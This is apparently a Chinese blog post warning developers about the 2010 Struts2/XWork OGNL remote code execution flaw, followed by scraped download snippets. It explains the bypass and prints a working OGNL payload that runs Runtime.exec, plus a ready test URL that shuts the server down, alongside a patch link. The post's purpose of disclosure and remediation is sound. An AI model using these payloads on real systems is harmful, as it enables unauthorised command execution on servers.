1.exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞,此漏洞危害之大,可谓百发百中,直接root,只要采用了Struts2和webwork框架的系统(对于webwork的版本,不太清楚,我这里没环境对其一一测试,这里有两者关系的介绍),基本上无一幸免。
2.昨天在接到朋友的提醒后,迅速将公司的一些使用此框架开发的项目漏洞修补了,我想大部分大公司的也在第一时间修补的差不多了,但是仍有很多公司,没有安全团队的,估计被黑了还被蒙在鼓里,感觉有必要在这里提醒下使用struts开发的朋友们,因为毕竟自己当初也做过java的开发。
3.漏洞成因在漏洞的poc中已经说的很详细了,但是都是英文的,而且对于Java不了解的人,可能会看得一头雾水,这里简单分析下,其实也是将原文粗略的翻译下了,对于其中名词不熟悉的请Google之:
Struts2的核心是使用的webwork框架,而webwork又是使用的XWork来处理action的,并且通过调用底层的
getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。
除了支持参数的设置和读取,ONGL支持另外的一些功能:
- 调用方法:
foo()
-
调用静态方法:
@java.lang.System@exit(1)
-
类的调用:
new MyClass()
-
处理上下文变量:
#foo = new MyClass()
由于ONGL的调用可以通过http传参来执行,为了防止攻击者以此来调用任意方法,Xwork设置了两个参数来进行防护:
- OgnlContext
的属性 'xwork.MethodAccessor.denyMethodExecution'(默认为真)
- SecurityMemberAccess私有字段
'allowStaticMethodAccess'(默认为假)
为方便开发人员经常访问各种对象,XWork定义了很多预定义的上下文变量:
-
#application
-
#session
-
#request
-
#parameters
-
#attr
这些变量代表各种服务器变量。为了防止攻击者篡改服务器端对象,XWork的ParametersInterceptor是不允许参数名称中有#的,大约在一年前,漏洞发现者找到了一种方法来绕过这种保护(XW-641
),即通过java的unicode字符串来表示:\u0023。当时感觉通过一种方法
(OGNL value stack clearing)
来修补是不够的,但是没有更多的时间来研究。
今年早些时候,漏洞发现者又发现了一些Xwork
的一些预定义的变量:
- #context - 这个方法的能否被调用是基于OgnlContext的 'xwork.MethodAccessor.denyMethodExecution' 属性的值
- #_memberAccess - SecurityMemberAccess的'allowStaticAccess' 字段用来防止静态方法的执行
- #root
- #this
- #_typeResolver
- #_classResolver
- #_traceEvaluations
- #_lastEvaluation
- #_keepLastEvaluation
使用XW-641
所描述的方法,漏洞发现者通过修改一些值能够调用被保护的Java代码,并且执行任意的Java代码:
1 |
#_memberAccess[ 'allowStaticMethodAccess' ] = true
|
2 |
#foo = new java .lang.Boolean( "false" )
|
3 |
#context[ 'xwork.MethodAccessor.denyMethodExecution' ] = #foo
|
4 |
#rt = @java .lang.Runtime @getRuntime ()
|
5 |
#rt.exec( 'mkdir /tmp/PWNED' )
|
事实证明通过构造http请求能够调用该OGNL的表达式。这个漏洞的PoC于2010年7月12日发布。如果想测试你的应用程序是否有漏洞,可以使用下面的测试代码,将会调用:
java.lang.Runtime.getRuntime().exit(1)
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
4.如何修补此漏洞:
目前官方已出了补丁:http://svn.apache.org/viewvc?view=revision&revision=956389
5.快写完了,发现绿盟也将这个漏洞中文说明也发出来了,不过标题是:XWork ParameterInterceptor类绕过安全限制漏洞
严格点说,这个应该是XWork的漏洞,谁让Struts2用的是人家的核心呢?:)。
相关推荐
升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 ...
struts2 之xwork源码 供学习Struts2和Xwork的朋友使用
XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。 Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而...
struts2下的Xwork2源文件 在 opensymphony开源社区http://www.opensymphony.com/ 可匿名使用SVN checkout xwork2的源代码 http://svn.opensymphony.com/svn/xwork/trunk
struts2_xwork2下载 http://struts.apache.org/2.0.14/index.html http://www.opensymphony.com/xwork/download.action
Struts2中xwork源码,希望对你们有所帮助。
论坛系统(Struts 2+Hibernate+Spring实现)<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE validators SYSTEM ...
Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档 Struts2.2.3 + xwork半中文帮助文档
Struts2中xwork的源代码,学习Struts2的朋友一定要看看
struts2+xwork的源代码调试项目,包含简单的demo项目。次项目可直接导入eclispe、部署在服务器上要加入servlet-api.jar包的支持,此项目为研究源代码者提供,这也是个人好长时间自己探索出来的,希望大家努力。...
Struts2 2.3.16xwork_doc 自己制作的xwork,如有错漏请见谅
struts2下的xwork源码 学习源代码,掌握struts2原理
最新版本的Struts2.2.3 以及Xwork的帮助文档
1、升级所需要的jar(见附件): freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar ...<struts>“加在这里”</struts>
struts2-xwork-ognl的源文件(jar包),在eclipse中导入就可以直接在eclipse中查看对应的源代码,(注:现在下载的struts2的开发包已不自带此文件)免费的啊
最全的struts2.3和xwork2.chm中文帮助文档
这个压缩包包含struts-xwork-core的src源码,导入eclipse即可。
接触新版本出了问题后,解决了把...<struts> <package name="default" namespace="/" extends="struts-default"> <action name="helloworld"> <result> /helloWorld.jsp </result> </action> </package> </struts>